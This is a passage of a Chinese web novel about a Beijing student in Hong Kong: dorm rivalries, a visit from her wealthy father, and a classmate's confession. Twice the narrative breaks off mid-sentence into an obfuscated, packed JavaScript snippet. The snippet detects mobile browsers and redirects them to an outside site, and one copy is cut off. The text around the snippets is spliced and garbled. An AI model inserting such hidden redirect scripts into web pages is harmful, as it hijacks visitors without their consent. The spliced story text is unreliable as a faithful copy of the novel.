“哦,对,反正就和修仙差不多嘛,都要熬资历,熬过了就能飞升。他们好像还挺以这样的hall文化为傲的,还好不关我们non local的事。”林佳宜神神秘秘拿出一只玻璃瓶子来,问小初:“喝吗?” 小初问:“什么东西?” “劣质红酒。”林佳宜笑,“越劣质,醉得越快,醉了就可以好好睡一觉了,反正明天没课。” 小初有些犹豫:“你可别喝死我。” 林佳宜温柔摸摸她的头,眨眨眼,“真有事我救你,你忘啦,我可是专业的。” 门外又传来一阵喧哗声。 “你最好能救。”小初心一横,拿过自己的杯子来,管他呢,反正早晚都要见太奶。 一口酒下肚,小初就蹙起了眉,这个粗糙的口感,这突兀的酸度,这刺鼻的气味,果然劣质。 林佳宜说:“你慢点,陪我喝小半杯就好。”话虽然这么说,却自顾自灌了半杯下去。 饶是小初再后知后觉,也明白她这大概率是有心事了,赶紧劝道:“慢点,我出事你能救我,你要是出了什么事,我可没有急救证。” 急救证三个字一出口,小初就陷入了一阵小小的恍惚之中。 不自觉想起了飞机上那人半跪在地上不小心喷薄在她小腿上的呼吸。 她赶紧又呷了一口红酒下去,以防自己再有空想这些有的没的。 “佳宜,为什么你们那儿那么喜欢给女孩取这个名字?” 林佳宜失笑:“你认识几个佳宜啊?” “反正一提起佳宜,大家脑子里浮现的都是一个温柔坚韧的美人。” “这个就叫赋魅,你看我,不就不是美人?”林佳宜又大大喝了一口酒。 “林医生,不要过分谦虚!” 林佳宜说:“佳宜,不就是宜室宜家?只不知道宜的是谁的室谁的家罢了。我还有个姐姐叫蕴慈,是不是听上去也很温柔?” 小初点点头:“是。那姐姐现在在哪呢?” 林佳宜指了指天花板。 小初没懂:“她就住我们楼上?” “我说的是天堂,今天是她的祭日。” “啊?”小初吓得差点没从椅子上跌下去。 “没事吧?”林佳宜一把拉住她,“抱歉!我倒忘了你不像我天天跟人的肌肉骸骨打交道早习惯生死了。” 小初摇摇头。 林佳宜摸了摸她的头发,笑容温柔:“方太初,你是个幸福的人。” 小初不敢当,只说:“也……也有烦心的事。” “没经过生死的人,就是幸福的。” 这句话说完,两人都陷入了沉默。 然后各自喝完了杯子里的酒。 走廊里仍然笑闹不止。 小初问:“所以他们到底在闹什么?” 佳宜笑:“说出来怕你忍不住出去看。” “我好奇心没你想得那么重。” “事关你的死对头Wendy朱。” 小初一下来了精神:“重点说说这个部分!” Wendy朱,法律系本科大二在读的Local生,倒也不是什么大人物,只不过小初和佳宜倒霉,刚好宿舍就在她隔壁而已。 本来呢,按照惯例,Local和non Local一向是各玩各的井水不犯河水的,虽说小初对这位朱小姐的第一印象就不太好,但那也只是一件小事而已,还没到值得她方太初放在心上的程度。 那是她第一天入住,刚爬完好长一个大坡,几乎废掉半条命才把她那个一半都是书的超重行李箱运上楼来,正对着那间只有几平米的窄旧宿舍发着呆。 她那会儿其实心情就已经有点沮丧了,结果还没等她沮丧完,就听见身后一阵带着撒娇音的笑声,像是谁在打电话,然后一个还没来得及被阿姨收走的垃圾桶就被踢倒在了门口,垃圾洒了一地,跟什么特别的欢迎礼似的。 事发突然,又很巧合,对方似乎也没想到隔壁房间里刚好有人,还被抓了个现行,视线对上去的那一刹,双方都有点尴尬。 怔愣片刻后,小初念着对方可能也是无意的,就说了句:“没关系,你去找阿姨借一下工具,收拾一下就好了。” 她的声音也不知道是有什么神奇功效,对方听了也不继续僵在那了,也不惜字如金了,反而冷哼一声送了她一个白眼,很快扬长而去。 最后还是小初自己找阿姨收拾的卫生。 这事儿过去之后倒是安静了几天,但也不知道怎么有天大半夜,这位朱小姐突然来狂敲她们宿舍的门,当时她和佳宜都快睡着了,房间里灯都关了,小初也不知她是意欲何为,只能惺忪着眼睛去给对方开门。 然后她才明白,原来是这Wendy朱听见了有人大晚上不睡觉搬桌子的声音,就认为是她们干的,上来不由分说就一顿粤语夹英文的疯狂输出。 小初已经被他们吵得一个多星期没睡好觉了,精神已经处于崩溃边缘,还没等她说完,就一把扯着她的领子把她请了进来,顺便让她撩开她那长达二十四英寸的假睫毛,好好看看这房间里的人都在干嘛,把睡得半梦半醒的佳宜吓得当场尖叫起来,差点响彻一整栋楼。 这件事最后以她们双方分别给对方道歉结束。 从此两人就结下了梁子。 具体表现就是小初她们宿舍楼门口时不时就会有不明垃圾出现,偶尔还有往他们门上贴辱骂便利贴的,每次的字体和内容还不一样,Wendy朱向来在大一新生那边吃得极开,小初猜着这事儿肯定和她脱不开关系。 但是因为没有证据,她也拿她没什么办法。 说实话,她一直没搬出去,等的不就是她朱小姐倒霉的这一天嘛,所以催着佳宜赶快说,“她到底怎么了嘛!” 佳宜忽而失笑:“她好像是想去参选明年的HK小姐,也不知她私下跟谁说了,就被传出去了,这会儿,那帮人正起哄让她做竞选宣言呢。还有更坏心的,回去扯了个粉红色的窗帘过来,给她围了身礼服。” 小初尽管心里有点痛快,但还是蹙了蹙眉:“这真的不算霸凌吗?” “要真细究,肯定也算的啦,但是一般没人会细究的,玩闹一场就过去了。” 小初眼底滑过一丝慧黠,拉住佳宜的手:“走,看看去。” 佳宜却有点为难:“那边都是Local生,我们去……会成为众矢之的吧?” “怕什么,咱们又不说话。看看不犯罪吧?朱小姐要是连这点心理素质都没有,那也别选什么HK小姐了,到时候网友的嘴可比我们俩欣赏的目光毒多了。” 佳宜实在没忍住 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小初深以为然,“还多亏了那条粉红色窗帘了,我看她里面裙子那么短,闹太大肯定要出丑。”然后又忍不住皱起眉,“佳宜,你这酒在哪买的,以后别买了,是真的难喝。” 佳宜笑:“小姐,我是靠妈妈卖蚵仔煎出来念书的,有的喝就不错啦。” 小初愣住,并很快歉然地抿了抿唇,“对不起啊,我不知道。” “你神经啊,没事道什么歉。” 小初却仍然觉得过意不去。 她承认她从小到大物质条件都比较优渥,但这并不代表,她对和她不同处境的人,完全没有同理心。 愣了一会儿神,她突然又觉得没意思了,正想拉着林佳宜回宿舍,不想那群人又提议让Wendy朱和一个男生搭戏模仿某部电视剧的片段,男生演出轨被抓现行后气急败坏的老公,女生演精神受创歇斯底里恨不能跟对方同归于尽最后却又心软原谅了渣男的老婆。 本来这段戏也没什么的。 只是两人也不知怎么演的,演着演着就一块摔到沙发上去了,男生一整个覆在了女生的身上,窗帘布脱落,女生的裙底一下子曝光在众人面前。 这场景谁都没有料到,Wendy自己也慌了,想爬起来却不得力,她身上的男生也不知是故意的还是演上了瘾,还在说台词,并作势亲下去,“老婆,我错了,你原谅我好不好,我对那个女人没兴趣的,都是她勾引我。” “喂,你走开啦!”Wendy用力推男生。 男生亲在她的脖颈上:“我知道你是爱我的。” 这画面要真在拍戏,导演都得清场,小初一阵不适,蹙起了眉。 众人却仍在起哄,拍照。 Wendy急了,用粤语大喊:“学长,先起来啦!” 男生不动。 小初终于忍不了了,也没管一只手还拎着酒瓶呢,上去就揪住了男生的领子,“请你尊重一下女生好吗?” 她的普通话太标准,导致现场忽地静了音。 他们这种活动一般都不邀请non local的,她是谁啊,谁让她来的? 小初也没管,继续拎着那男生的领子,嘴里说着“阿西”一把就把他提了起来。她身高本来就高,那男生才到她眉毛,又见她酒气冲天一副不好惹的样子,动了动嘴唇,到底没说话。 Wendy终于爬了起来,只是一见救她的人是小初,脸色一下就变了,连句多谢都说不出了。 “真够没用的。”小初瞪她一眼,也没再说什么,拉着佳宜就上了楼。 半小时后,这段视频就被分享到了学生社群里。 再半个小时之后,某个正生无可恋的人忽地从床上起了身。 小初却对此浑然不知,因为她回到宿舍倒头就睡着了。 林佳宜的劣质酒,后劲是真的足。 第二天醒来已是中午,宿舍里只剩下她一人。 外面的世界没有风,似是连阳光都停止了流动,小初忽地感到了寂寞。 她从没像林佳宜那样为钱和前程发过愁,为什么也并没有她说得那样幸福呢? 好在没一会儿,她的电话就响了。 方协文说,他来香港出差,顺便来看看她,人已到她楼下。 13. 第 13 章 方太初几乎是用奔跑的速度下的楼,到楼底之前还深吸口气平复了一下情绪,但当她看到她爸那张写满担忧的脸时,心底的酸涩还是没控制住,下一秒,就已经楼住他的脖子大哭起来。 她哭得太伤心,倒把她爸吓得不轻,一直拍她的后背安慰着:“方大小姐怎么了这是,受什么委屈了?” 小初极力忍住眼泪,却忍不住抽噎,“没事,就是想家了,姥姥姥爷他们都好吗?” “都好,就是想你。”方协文看了眼闺女身上的卫衣和牛仔短裤,更加心疼,“你这穿的什么啊?虽说炫富不好,但咱也没必要装穷吧?漂亮女生朴素过了头,还不被同学欺负死?” 小初简直被她爸气笑:“哪有你说得那么夸张!”声音逐渐低下去:“同学们都挺友善的。” 方协文冷哼,“你妈还说让你尝尝人间疾苦也挺好的,我就没看出哪好来,告诉爸爸,是不是有人欺负你?那人是谁,我给你出气。” 小初这才注意到他斜后方的秘书和保镖,他自己是一贯的亦方男模水准也就算了,还搞这么大一个阵仗,是真不怕她同学误会她钓有钱老男人啊! 想到这儿的她瞬间有些慌乱,好在她左右瞧了瞧,周边并没有她认识的人。恍惚间感觉刚刚有个什么人的身影很熟悉,待她再仔细去看,又什么都没有了。 她摇头苦笑,看来下次是真的不能再喝劣质酒了,回头给她喝出脑雾来,也别想着博士还能不能毕业了。 “真的没有啦!”小初挽住她爸的手臂,“走啦,方总您来看我,请我吃点好的不过分吧?” 方协文说:“请吃饭有什么,我还有更重要的事要和你说呢。” 两人上了他不知哪来的挂港牌的迈巴赫,轰然而去。 直开到中环找了家实在有些豪华过了头的餐厅坐下来,方协文才从包里拿出一叠文件来递给小初:“给小方总汇报一下数学研究所的施工进度。” 小初有些惊讶于她爸的执行力,“竟然这么快就开工了?” “都决定好的事还犹豫什么?” 小初点点头,认真翻阅起手里的资料,里面都是关于她喜欢的那个装修风格的具体实施内容,以及相关材料和设计的报价。 方协文说:“以后科技公司想顺利从模仿阶段过度到自主创新,突破口就在数学上了。” 小初瞥她爸一眼:“方总的想法是没错,只是你别回头招一帮PHD去给你写 Python就行,反正我不干。” 方协文给她闺女倒了杯茶:“你放心,你那编程水平,你敢干,我还不敢用。” 小初咬咬牙:“嘿!” 菜很快就上齐了。 方协文打开微信和远在北京的黄亦玫视频通话,一个四十几岁的男人,看见老婆还能笑得那么不值钱,小初表示很佩服。 然后她就一边努力填饱自己一边看他们夫妻肆无忌惮地在她面前秀恩爱。 一个月来所遭受的一切,所有的委屈,都在他们的言语间一点点蔓延出去,取而代之的是满满的安全感和暖意。 她突然觉得自己又可以了,至少还能再挨几个月local生的大吵大闹。 “怎么样黄亦玫,羡慕吗?我跟你闺女坐一块吃饭呢。”方协文只照了一下小初,就把摄像头转向窗外美丽的海港,“真遗憾,你没能在这。” 黄亦玫说:“有什么好羡慕的,我们公司下个月要去香港策展,我想见方小姐还不是随时的事?” 小初停下咀嚼,满脸惊喜:“妈,真的吗?” “当然!还有个好消息,你干妈谢令妤也要来港拍电影,到时候你愿意的话,可以跟我一块去现场探班。” “太好了!” 方协文却有点酸:“你也不用一直在香港陪着吧?之前还说让她独立生活一段呢。” “到时候再说,具体怎么安排还没定呢。” 挂掉视频,小初问方协文:“爸,能问问你是怎么保持几十年一如既往爱一个人还能这么热烈的吗?” 方协文说:“人家是女神,女神都是这个待遇。” 小初不信:“那你们当初为什么要离婚?” 方协文瞪她一眼:“我要是早知道跟她离婚会那么痛苦,之前打死我都不会离的。” 小初说:“不都说男人的爱很短暂吗?就算是面对女神,一辈子也会腻的吧?” 方协文这下是真的不高兴了,“你小小年纪脑子里整天都在想什么?我当初要是像你似的干什么都把结果往坏了想,现在就没你了。”又说:“再说,每个人不都应该有点自己执着和热爱的东西吗?不然一辈子大几十年得多空虚?人太空虚了人就容易堕落,尤其我这种有点钱的,同理,你也是。” 小初说:“关我什么事。” “你猜我和你妈妈为什么从不带着你出去社交,让你认识那些二代?还不是就因为有些人年纪轻轻就没有追求了,然后就跑偏了。方太初,香港不比北京,你要是敢在这边学坏,我打断你的腿。” 小初立刻没食欲了。 方协文又不经意问:“和姓叶那小子怎么样了。” 小初说:“哦,他倒是腿断了。” 方协文古怪看她一眼:“这可跟我没关系啊。” 小初不搭理他。 吃了饭,两人又去逛街。 方协文的风格就是一路买,看见什么都买,没一会儿就大包小包给她买了一堆,吃的用的玩的,还有一堆漂亮的衣服,还好后面有他助理跟着,不用小初自己拎。 “够了爸,我那宿舍就几平米,买多了要堆到楼道了。” 方协文只当没听见,又带着他去看珠宝,没一会儿就看中一款戒指,枕型红宝石镶钻的,一边看一边征求她意见:“这戒指你妈妈戴会好看吧?她手指又白又长,戴有颜色的珠宝是不是更适合一些?” 小初有些心不在焉:“好看是好看,就是比你去年在拍卖会拍的那一套差得有点远,几千万一下降级到几十万,我怕入不了黄女士的眼。” 方协文说:“你懂什么?那一套买了也在保险柜吃灰,平时哪那么多场合?这个就不一样了,买回去她明天上班就能戴上,然后洗手的时候就能想起我。” 小初摊摊手,表示你开心就好。 一直满脸堆笑陪在身边的销售人员这才露出一个恍然神色,感情这是女儿,不是小女朋友。 方协文问对方:“有没有便宜一点的手链,一两千的就行,给旁边这个眼光有点不好的,不然她戴得太贵了,她那个小男朋友该自卑了。” 销售人员缓缓露出一个问号来,然后笑:“对不起先生,还真没有。” 小初:“……” 从珠宝店走出来,方协文问小初,还有什么想买的没有。 小初想了想,说:“我想买个笔记本电脑。” 方协文有些疑惑,“买那个干什么?你的坏了?” “不是,送人。” 小初想起林佳宜天天捣鼓她那个一晚上要死机十次的破电脑来,莫名的心酸。 方协文的表情逐渐凝重:“你该不会是真爱上穷小子了吧?” 小初故意气他:“怎么呢?您当年不也是穷小子出身吗?自己淋过雨就不能给别人留把伞?” 方协文说:“不是你教我的,自己淋雨之后第一件事就是把全世界的伞撕碎吗?” “……”小初仔细回想了一下,“我说过这种话?” 方协文问:“所以到底送谁?” “我室友,一个很好的女孩子。” 方协文听了表情却更加凝重,半晌才说道:“送室友倒不是什么大事,只怕你这么做会给人家太大的心理负担。还有啊方太初,资本家要是生出良心来,这辈子会很痛苦的,你总不能把这世上所有人的苦难都背负到自己身上吧?” 小初默然。 方协文又说:“爸爸教你,真想背负起更多人,就努力做好企业,多给社会创造就业机会,多交税,让财富再分配去帮助更多的人。把这个当成奋斗的目标,你就不空虚了,这世界很复杂,你要先稳住你自己。” 小初心头一震,然后缓缓点了点头。 过了一会儿,方协文才说:“这样,咱们就买个电脑送她,你就说是客户送给你爸的,你用不着才给她用的。” 小初勾起唇,感激地看了她爸一眼:“行。” 回到酒店,小初已经累得不想说话了,昨晚醉酒的滋味还在,她只想睡觉。然后她就真的睡了过去,直睡到第二天日上三竿。 这一刻她突然就有点理解豌豆公主了,酒店的床的确好睡很多。 方协文有事忙,只发消息给她,问她要不要中午和他一块去吃商务会议酒店的标餐。 小初说不要,她还一堆作业没做呢。 方协文下午还要赶飞机回北京,也就没多说,只派了司机送她回学校。 回去的路上,小初突然想去山上吹吹风,就让司机换了路线,直奔新界。 只是她实在没想到,在这么偏远的地方也能碰见熟人,还是一个她并不怎么想在此刻看见,并且早被她微信拉黑沉入深海的人。 彼时,他正从一辆黄色的敞篷跑车里探出头来,笑意温柔,大声喊她的名字,“方太初!” 他的咬字发音很特别,小初一开始还以为自己幻听。 待她缓缓回过头去确认一切,瞬间陷入了恍惚,一颗心浮浮沉沉,竟一时不知是什么滋味了。 一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16309759|182866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个月没见,他憔悴了很多,眼睛比之前更深邃,下颌线也更清晰了。 “我在中环看见你上车,又不敢确定,就一路跟到了这,结果还真是你。”他笑着一步步走向她。 他倒坦诚! 小初看了司机一眼,指了指远处:“我跟我同学聊几句,你到那边等我就好。”又小声说:“回去别跟我爸乱说,免得他担心。” 司机点头,将车开走。 余萧弋只当没看见。 在她面前站定,两人对视了几秒,他才弯起唇,“我之前说了的,香港很小。” 小初也笑笑,“是挺小。” 他问:“你好吗?” “还好。”然后出于礼节,她也问他:“你呢?” 余萧弋不答反问:“你觉得呢?” 小初笑,面上一派云淡风轻,“看着还不错,车都换了。” 余萧弋的瞳孔骤然收缩了一下,然后他仰头看了看他们面前的山,问她:“你来爬山?” 小初说:“没打算爬。” “那么我们上去走走?” 小初犹豫地看他一眼:“不了吧,我怕你一生气再把我从山上推下去。” 余萧弋气急反笑:“我为什么要推你,你什么时候得罪过我?” 小初不答,只垂眸去揪路边的狗尾巴草。 余萧弋拉过她的手腕,“走吧,这个季节山上的风很舒服。” 手腕上传来的他掌心的温度让小初一阵心悸,下意识就想挣脱,但他没给她这个机会,拉着她几步就消失在了树的影子之后。 小初咬牙:“余萧弋,你也不怕我的司机过来打死你。” 他轻笑一声:“你不是只能在香港待七天吗?怎么滞留到现在,连私人司机都有了。” 小初说:“关你什么事。” “所以方小姐现在在何处高就?” 小初冷笑:“又关你什么事。” 余萧弋呼吸一滞:“你早说你喜欢这种有钱的,我勉为其难也不是不能装装样子。” 小初难以置信,忽地抬头看向他:“你什么意思?” “为什么拉黑我?” “我留给你的信写得还不明白吗?我们俩不是一路人,而我也不适合做朋友。” 余萧弋玩味地看着她:“哦所以,我是哪路人,方小姐你又是哪路人,你说说,我听听,看看这事还有没有办法转圜。” 在他的带领下,两人已逐渐离山脚有些距离。 山上的风的确很舒服,爬山的人不多,整条上山的小径上就只有他们俩。 小初停下脚步,这段时间来从他们这帮Local身上受的气一下子爆发开来,“我方太初是什么人为什么要跟你解释,你以为你是谁?至于你在我心里又是什么形象,我更无可奉告!我们俩只不过是擦肩而过的陌生人而已,你凭什么在我面前摆这副姿态?你该不会以为你帮了我一点小忙,我就要感恩戴德地仰望你吧?你们的优越感到底是哪里来的?” 余萧弋愣住。 小初接着说,越说语速越快:“还有,你那帮不知所谓一直炫富还歧视内地人的朋友真的很土,简直俗不可耐!能和这样的人整天混迹在一起,你又能是什么好东西?我方太初就算再缺朋友,这辈子孤独终老,都不想再看见你,你把手给我放开,要不然你不推我,我也要把你从这推下去,反正你没证人而我有!” 小初用力抽回自己的手,还没忘记又讽刺了一句:“余同学,你还是回去找你的Rebecca吧,至少她疼你还能送你跑车,别没事在我身上浪费时间,下次再在街上碰见,无论是中环,尖沙咀还是铜锣湾,你敢过来打招呼,我就把你扔海里喂鱼。” 小初说完转身就走,只是没想到下一秒身子已经被他掉转按在了树上,而后他越靠越近,眼神逐渐聚焦在她的唇上,小初吓坏了,整个人几乎都在颤抖,忘了呼吸忘了喊,只定定地看着他。 山间有风在流动,空气里都是草木摇曳时发出的碰撞声。 有些怦然,有些喜悦,有些不知所措。 好在他最后什么都没做,只无奈说了句:“Rebecca,是我亲姑姑,她的名字叫,余蓁蓁。” 小初被他的温柔之芒刺中,脸上的血一点点晕开。 然后又听他说:“我的那些朋友未必有你想得那么不堪,就算有,我也和他们不一样。你别忘了,我妈妈也是内地人。” 小初说不出话。 “方太初。”他的声音有点发颤,却也足够真诚,“我喜欢你,想从今天开始正式追求你,可以吗?” 小初瞪大眼睛。 他在说什么? 这个年代还有追人之前要先获得许可的男生吗? 14. 第 14 章 方太初长这么大,喜欢她的人很多她心知肚明,可真这样不顾一切站到她面前,敢直视她眼睛表白的,他余萧弋还是第一个。 也不知是北京男孩太矜持,还是香港男孩太自负。 要说她心里一点点动容都没有,那也是骗人。 她从来都不讨厌他,从飞机上他摘掉口罩的那一刻起,到他刚刚即便已经冲动到恨不得焚毁整个世界,却仍然克制了自己欲望那一刻止,她都没有讨厌过他。 可她是个学数学的,题目拿在手里的那一刻,解得出还是解不出,已经注定。不会的题,就算坐在那熬到考试结束,无从下笔还是无从下笔。 短短几分钟,她已经将他这道难题推演了一万遍,每一遍的结局都出奇的一致,她和他之间不会有任何未来。 首先,她只会在这里待几个月,而她和他还年轻,未来还有很多变数,她不谈异地恋,更不想浪费时间在一段没有结果的恋情上。 其次,她不敢说她已经忘了叶子瑜,在心里还有前任的前提下随意答应另外一个人的追求,是对自己的极度不尊重,更是对对方的极度不尊重。她早说过痛苦是不能代偿的,她不会也不想拿另一个人来疗情伤。 最后,南北差异太大,真相处起来,也会诸多矛盾,她和他从根本上,就是完完全全的两类人,强求也只会结苦瓜。 她不能因为一时的意乱情迷就不计后果,让自己陷入那样的进退两难中。 “不好意思啊,余同学,我暂时没有谈恋爱的想法,但还是谢谢你的青睐。”小初勉强笑笑,错身就走,“我得走了。” 余萧弋拦住她,看着要碎掉了,“为什么?” 小初忍住心痛,笑答:“我不喜欢你,你知道的,我已经有心上人了。” “那个姓叶的男的吗?我也没见他有多好。” 小初倏地看向他,“你竟去找过叶子瑜?” 余萧弋轻笑:“原来他叫叶子瑜。” “余萧弋,你越界了。”小初的眸色越来越冷。 “是,我承认。但他已是你留给我的唯一线索。” 小初默了默,还是没忍住问他,“他怎么样,看着有没有好一点?” “你放心,我去的那天,她女朋友正准备推他去医院做复查,除了不能走路,其他一概都好,人家可能确实比你会照顾人。” 小初瞪他一眼。 余萧弋轻哼,“你还不服气?你要么好好看看经过你手的我,在一个月时间内变成了什么样?他只是断了一条腿,我可是差点没了半条命呢。” 小初有些心虚:“你自找的。” 他点头:“的确是我一厢情愿。” 小初不知道该说什么了。 然后就听见他又说,“不过,你倒是没爱错人,叶同学没有向我透露你的任何消息。”他顿了顿,“你猜,他是想保护你,还是占有欲在作祟,不想别人染指你?” 小初呼吸一滞,真是没想到,他竟还有如此阴阳怪气的一面。 “应该就是占有欲在作祟吧。”她忽而一笑,笑得极为明媚,“你知道的,我和他也不是一两天的情分了,不像我跟你。” 小初说完这句话,就看见他的肩膀半塌了下去,像是全凭意志力才撑在那里了。 “方太初,你的心到底是什么做的?” 山上的风并不大,亚热带和热带的过渡区没有很明显的秋天,可小初不知怎么就突然感觉很冷,入目之处皆一片萧索。 “钢筋水泥。”她最后看他一眼,“以后小心点,再别见着个稍微漂亮点的女孩子就说喜欢人家,不然我怕你这么脆弱,没两次就真没命了。” 说完这句话,她就大踏步向山下走去。 余萧弋在她身后喊:“就一点都不考虑我吗?” 小初挥挥手,没回头。 到了车上,她就伏了在靠枕上,眼泪无声无息地落下来。 她从不知道青春有这么痛,成长有这么痛。 她到底什么时候才能一觉醒来就已经到了三十五岁,心智坚韧,事业有成,再不会被任何人的任何情绪或意见左右,只做她自己? 司机问:“小姐,我们现在去哪里?” 小初瓮声瓮气,浑身发冷:“回学校。” 司机应声,再不多发一言。 小初欣赏他们的专业性。 回到宿舍,时间已经不早。 小初将大包小包的购物袋扔在床边的地上。 林佳宜正在用她那个隔二十分钟半个小时就要死机一次的老旧电脑复盘她的实验数据。 见她一脸失魂落魄,她立刻停下手中的事务走上前来,关切地问道:“你怎么了太初?” 小初伏在枕头上,看着她一边哭一边笑,想来画面很惊悚,“佳宜姐,你吃饭了吗?” 林佳宜摸了摸她的额头:“你怎么这么热,是不是有什么不舒服?该不会就是那天的红酒把你喝坏了吧?” 小初摆摆手,“没有的事。” 林佳宜却不放心,取来一支体温计放到她腋下,嘴里碎碎念:“早知道就不叫你陪我喝酒了。” 小初突然问:“佳宜姐,你姐姐是怎么走的?” 林佳宜神色一顿,再抬头,眼睛已经有些泛红,“她被她前夫家暴。” 小初的眼泪不停不停地落下来,“那她没反抗吗?” “反抗有用吗?”林佳宜没有哭,反而勾了勾唇,“女人好像只要遇到一个男人,悲剧就开始了,所以,我不会结婚,更不会生孩子。” 小初说:“男人为什么总是只想着他们自己?” 林佳宜从小初腋下拿出体温计,惊呼道:“太初,你都烧到三十九摄氏度了哎!还没问你昨晚发生什么事,怎么一夜都没回来,是不是着凉了?” 小初说:“没着凉。” 她只是旧疾复发了而已,从落地香港感受到那一刻的潮湿天气起,她就该大病一场了。 叶子瑜说她很快就会痊愈的,她笑,她连她的病症在哪里都不知道,该怎么治疗,又该怎么熬到痊愈? 佳宜不放心,还是端着脸盆出了宿舍门,看着是去帮她拧湿毛巾去了。 小初闭上眼睛,脑子里放电影一样却都是余萧弋深情而炽热的眼神以及那个未遂的吻。 她忍不住想,若他真吻下来,她会怎么样,是索性享受,还是赏他一巴掌。 没一会儿,宿舍门就被人从外面推开了。 小初没睁眼,只说:“佳宜姐,你动作真够快的,不过我想我没事,睡一觉就好了。” 可耳边传来的却不是佳宜的声音,而是另一个很不讨她喜欢的声音,普通话像是借别人的嘴说出来的,“方太初,你这么一个好斗公鸡一样的人,也会倒下去啊。” 小初倏地睁开眼。 Wendy朱,朱慧雯小姐,已经将一个餐盒放在她床头的桌子上,说话的样子依旧那么无礼,连她的眼睛都不看,“这个呢,是我们这边一个小吃,叫油角仔的,我从家里带来,给你和林佳宜尝尝的。” 小初跟见了鬼一样瞪着她。 朱慧雯说:“你怎么了,脸干嘛是红的,嘴唇又那么白,你不是有力气把一个大男人提起来吗?现在又装什么林黛玉。” 小初呼吸起伏,“你一定在油角仔里下毒了。” “本来是那么想的,不过我这个人向来恩怨分明的,你前天救了我,我还是要和你说一声谢谢的。” 小初冷笑:“你不怪我坏了你的好事我就谢天谢地了。” “你当我傻的啊!”朱慧雯看上去很崩溃,“他长得那么丑,要不是因为他是学长,我早扁他了!” 小初嘴角一抽。 林佳宜推门进来,也被突兀出现在房间里的朱慧雯吓了一跳,语气有点结巴,“Wendy?你,你有何贵干?跟你讲,方太初生病了,我们可没精力招待你。” 朱慧雯瞪她一眼,“谁要你招待?我是给你们送油角仔吃的。” 林佳宜说:“油角仔是什么?听起来就很上火,你觉得她现在适合吃这个吗?” 朱慧雯有些生气,抬腿就走,“反正心意我带到了,吃不吃随你们,不吃就扔掉好了。” 说完她就出了门。 只剩小初和林佳宜面面相觑。 “她突然抽什么风?” 小初说:“大概良心发现了。” 林佳宜把湿毛巾放在小初额头上,温柔对她讲,“我先帮你物理降温,不严重咱们就尽量先不吃药,如果明早加重,我再陪你去医院。” 小初感激地抓过她的手,“佳宜姐,你好像我妈妈。” 惹得林佳宜一身鸡皮疙瘩,“你少来啊,我说了我不生孩子的,哪来的机会当妈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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照片里的余萧弋半张脸都遮在口罩之下,若是不熟悉的人,未必会去注意他那双充满故事性的眼睛。 可是很可惜,她第一眼见到的,就是这个模样的他。 这世界还真小。 “佳宜姐,我要惨了。”小初虚弱地说了一句。 “到底怎么了?”林佳宜重启了一下她那个破电脑,听着快哭了,“我也要惨了,不知道刚刚调好的数据有没有保存。” 小初这才想起电脑的事,赶紧把新买的笔记本递给她,然后不出所料林佳宜说什么都不肯收。 最后小初实在被拉扯得头疼欲裂,只好说,“姐姐,我真不是专门花钱给你买的,你要不用,我就拿到二手论坛上卖掉了,那要不你就按照二手价买走好了,也不用现在还我,等你将来发达了,我去台北找你玩,你请我吃喝玩乐就好了。” 林佳宜这次是真哭了。 然后她用力抱住小初,说了句,“好,一言为定。” 小初说:“不过得先等我活到那个时候再说,我现在得赶作业了。” “啊?现在吗?”林佳宜看了看手表。 “嗯,现在。”小初垂了垂嘴角,“不然准要被Cathy那帮人骂free rider了。” 小初最后几乎熬了个通宵才把作业完成,完成的结果就是她又在宿舍躺了两天。 有一天她睡醒后太饿,竟抓着朱慧雯的油角仔把自己喂了个半饱,然后就是无尽的自我厌弃,她这也算人在屋檐下不得不低头了,连死对头投来的毒都开始大快朵颐了。 这场病来的莫名,却又如此汹汹,她泄了力,不知该如何抵抗。 还好有林佳宜。 到了第三天,宿舍来了位不速之客。 他进门时,小初正坐在床头吃药,一见是他,差点被一粒药呛死。 相比她的仓惶,他倒还算镇定,帮她拍完背,还递给她一杯水。 末了,还没忘记问她:“不是说咱俩已殊途吗?你怎么自投罗网跑我地盘了?” 小初咬牙,“你以为你是谁。” 他笑:“忘了讲,我也是Smith教授的研究生,不出意外的话,今年毕业。方太初,咱俩还真有缘分。” 小初默默地骂了他一句。 他澄清:“我可不知道邮箱前缀F.Junior就是你啊,我只是来替教授看看,为什么有人两三天都没来上学。哦,F.Junior是什么意思?小方是吗?” 小初指了指门,“不劳费心,我已经跟教授请过假了,现在,请你出去,然后从外面帮我把门关上,多谢。” 15. 第 15 章 “等一下。”余萧弋说,“能不能给多几分钟时间,我和你说两……”他顿住,似是怕她像上次一样真的就只允许他说两句,立刻改口:“说几句话,说完我就走,绝对说话算话。” 小初睫毛颤了颤,继而无可无不可地看了他一眼:“那就请快。” 余萧弋长舒一口气。可她们宿舍面积太小,他不知道自己该怎么自处,只好问她:“那我坐哪?” 小初有些无语,他要发表演讲吗?还要坐下来谈?但不请他坐好像也很奇怪,因为他就只是站在那,就快把整个房间填满了。 最后只能她妥协,“你坐我椅子上好了。” 余萧弋照做。 小初不好继续坐在床上,便以抱臂的姿势斜倚在了对面林佳宜的桌子上,刻意与他隔开一点距离。但房间还是太小了,小到若是仔细听,甚至能听到彼此的呼吸和心跳。 忽地耳朵就有发烫。 他来之前,她刚洗过头发,这会儿头发半干未干,乱蓬蓬铺在肩上,若是靠近了看,说不定还能看见水汽正在蒸腾的痕迹。还好她知道白天女生楼层可能会有异性访客,穿得还算得体。 不然,还不知气氛要如何暧昧不清。 也不知他是急什么,非这么不合时宜地闯到这里来,就算她真的病得要死了,他来就能解决问题吗?他只是有本急救证,又不是有本行医证。 他有些奇怪,问她:“你不坐吗?” 